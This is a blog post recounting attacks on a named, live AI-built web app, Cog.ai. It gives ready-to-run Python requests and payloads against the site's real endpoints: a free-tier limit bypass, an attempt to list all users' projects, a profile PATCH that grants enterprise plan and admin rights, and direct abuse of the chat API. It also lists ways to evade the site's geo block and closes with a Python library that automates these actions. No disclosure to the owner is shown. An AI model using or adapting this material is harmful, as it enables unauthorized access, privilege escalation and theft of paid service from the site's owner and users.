766 words
4 minutes
How Cog.ai was pwned
2025-03-23
NOTE

This post is still kinda WiP, expect bugs and grammer mistakes.

So this whole story starts at 22/03/2025 when a member of Face’s Attic posted thier new AI built website.

A couple of message later she says that the AI she used (claude 3.7 sonet) gave her code with 0 bugs (well if the code had 0 bugs i wouldn’t be writing this).

So, you might be thinking, ‘How bad was it?’, It was bad, very bad.

Project Limit Bypass#

By default the free tier gives you 1 project, But then i had a brilliant idea, I opened DevTools, see opening DevTools allowed me to see the network requests and see the new project network request.

  1. Data
{
    "name": "<project name here">,
    "id": "<user id>",
    "created_at": "<time stamp>",
    "edited_at": "<time stamp>"
}

You can get the user id from a request like https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects?select=*&user_id=eq.xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx

  1. Headers
{
    'apikey': '<key>',
    'authorization': 'Bearer <token>'
}

You got the bearer token and apikey after logging in, most requests will have them as headers so just copy that.

After that you just made a post request to https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects like this:

import requests
from datetime import datetime

time = datetime.now().isoformat()

headers = {
    'apikey': '<key>',
    'authorization': 'Bearer <token>'
}

json_data = {
    'name': "<name>",
    'user_id': "<user id>",
    'created_at': time,
    'updated_at': time,
}

r = requests.post('https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects', headers=headers, json=json_data)

Get All Projects#

Theres an enpoint https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects?select=*&user_id=eq.xxxxxx that gets the projects for a user, however if you make it https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects?select=*&user_id=eq.* then you will see all the projects (it didn’t work for me but maybe someone will be able to fix it)

Chat#

The endpoint https://cog-ai.vercel.app/api/chat is for well um chatting, it takes a cookie sb-tclazdeonmnevusmwcsx-auth-token which is basicly the response from https://tclazdeonmnevusmwcsx.supabase.co/auth/v1/token url encoded.

  1. Headers
{
    'apikey': '<key>',
    'authorization': 'Bearer <token>'
}
  1. Cookies
{
    "sb-tclazdeonmnevusmwcsx-auth-token": "<res from auth api url encoded>"
}
  1. Data
{
    'messages': [
        // messages here
    ]
}

Here’s an example request:

import requests

headers = {
    'apikey': '<key>',
    'authorization': 'Bearer <token>'
}

cookies = {
    "sb-tclazdeonmnevusmwcsx-auth-token": "<res from auth api url encoded>"
}

data = {
    'messages': [
        {
            "role": "system",
            "content": "Hello, you are a helpful assistant. You can answer questions and provide information on various topics. Please be polite and respectful in your responses. You are not here to help with research."
        }
    ]
}

r = requests.post('https://cog-ai.vercel.app/api/chat', headers=headers, json=data, cookies=cookies)

Patch#

So if you try to upgrade your account to pro, the browser will send a PATCH request to https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/profiles?id=eq.xxxxxx. The issue? Its patch, you can just copy it as curl, paste it into something like Insomnia and modify the payload. Using this payload i was able to give myself enterprise for free and admin. You are basicly able to modify every part of your profile.

{
    "subscription_plan":"enterprise",
    "updated_at":"2025-03-23T08:14:15.936Z",
    "is_admin": true
}

Geo Block Bypass#

So theres a geo block now, thankfully she didnt hear about vpns, so here are some ways of bypassing it:

  • Windscribe - Just set the server to any server in the USA.

  • Tor - You need to get a exit node in the USA.

  • Proton VPN - Just set the server to any server in the USA.

Python “Lib”#

As a last treat i made a Python “Lib” for this mess, its just a single python file.

Requirements

ua-generator
requests
datetime

“Lib”

import requests
import ua_generator
import urllib.parse
import json
import re
from datetime import datetime

class client():
    def __init__(self, apikey : str, auth_bearer : str):
        self.headers = {
                'apikey': '<api key>',
                'authorization': 'Bearer <token>',
                'user-agent': ua_generator.generate().text,
        }

    def login(self, email : str, password : str, proxies : str = None):
        params = {
            'grant_type': 'password',
        }

        json_data = {
            'email': email,
            'password': password,
            'gotrue_meta_security': {},
        }

        r = requests.post('https://tclazdeonmnevusmwcsx.supabase.co/auth/v1/token', params=params, headers=self.headers, json=json_data, proxies=proxies)

        rj = r.json()

        if r.status_code == 400:
            # smth is wrong
            if rj['code'] == "invalid_credentials":
                return 400, "INVALID_CREDENTIALS"

            elif rj['code'] == "email_not_confirmed":
                return 400, "EMAIL_NOT_CONFIRMED"
            
            elif rj['message'] == "No API key found in request":
                return 400, "NO_API_KEY_FOUND"

            else:
                return 400, "UNKNOWN_ERROR"
        elif r.status_code == 200:
            return 200, rj
        else:
            return 400, rj

    def get_user_projects(self, user_id : str):
        r = requests.get(f'https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects?select=*&user_id=eq.{user_id}', headers=self.headers)

        if r.status_code == 200:
            return 200, r.json()
        else:
            return 400, r.json()
    def get_all_projects(self):
        r = requests.get(f'https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects?select=*', headers=self.headers)

        if r.status_code == 200:
            return 200, r.json()
        else:
            return 400, r.json()
    def make_project(self, name : str, user_id : str):
        time = datetime.now().isoformat()

        json_data = {
            'name': name,
            'user_id': user_id,
            'created_at': time,
            'updated_at': time,
        }

        r = requests.post('https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/projects', headers=self.headers, json=json_data)
        

        if r.status_code == 201:
            return 201, "PROJECT_CREATED"
        else:
            return 400, "UNKNOWN_ERROR"

    def get_user(self, user_id : str):
        r = requests.get(f'https://tclazdeonmnevusmwcsx.supabase.co/rest/v1/profiles?select=*', headers=self.headers)

        if r.status_code == 200:
            return 200, r.json()
        else:
            return 400, r.json()
        
    def chat(self, message_history, login_r):
        cookies = {
            'sb-tclazdeonmnevusmwcsx-auth-token': urllib.parse.quote(json.dumps(login_r))
        }
        
        data = {
            'messages': message_history,
        }

        r = requests.post('https://cog-ai.vercel.app/api/chat', headers=self.headers, json=data, cookies=cookies)

        if r.status_code == 200:
            return 200, r.content
        elif r.status_code == 402:
            return 402, r.content
        else:
            return 400, r.content
How Cog.ai was pwned
https://blog.ploszukiwacz.is-a.dev/posts/cogai/
Author
PlOszukiwacz
Published at
2025-03-23